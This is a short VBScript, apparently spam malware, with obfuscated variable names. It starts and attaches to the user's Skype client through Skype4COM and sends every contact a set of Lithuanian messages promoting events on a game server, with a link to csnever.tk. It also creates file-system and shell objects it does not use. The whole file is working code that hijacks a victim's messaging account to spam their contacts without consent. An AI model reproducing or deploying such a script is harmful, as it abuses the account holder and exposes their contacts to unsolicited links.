set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set uDlVA = wscript.createobject("wscript.shell")
set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For Each GAG In yADAl.Friends
yADAl.SendMessage GAG.handle,"Sveikas(-a)"
yADAl.SendMessage GAG.handle,"Noriu pranesti gera naujiena!"
yADAl.SendMessage GAG.handle,"Never HnS serveryje rengiamos BM valandos."
yADAl.SendMessage GAG.handle,"Kiekvienas gales padeti kurti zemelapy!"
yADAl.SendMessage GAG.handle,"Daugiau info: http://csnever.tk"
Next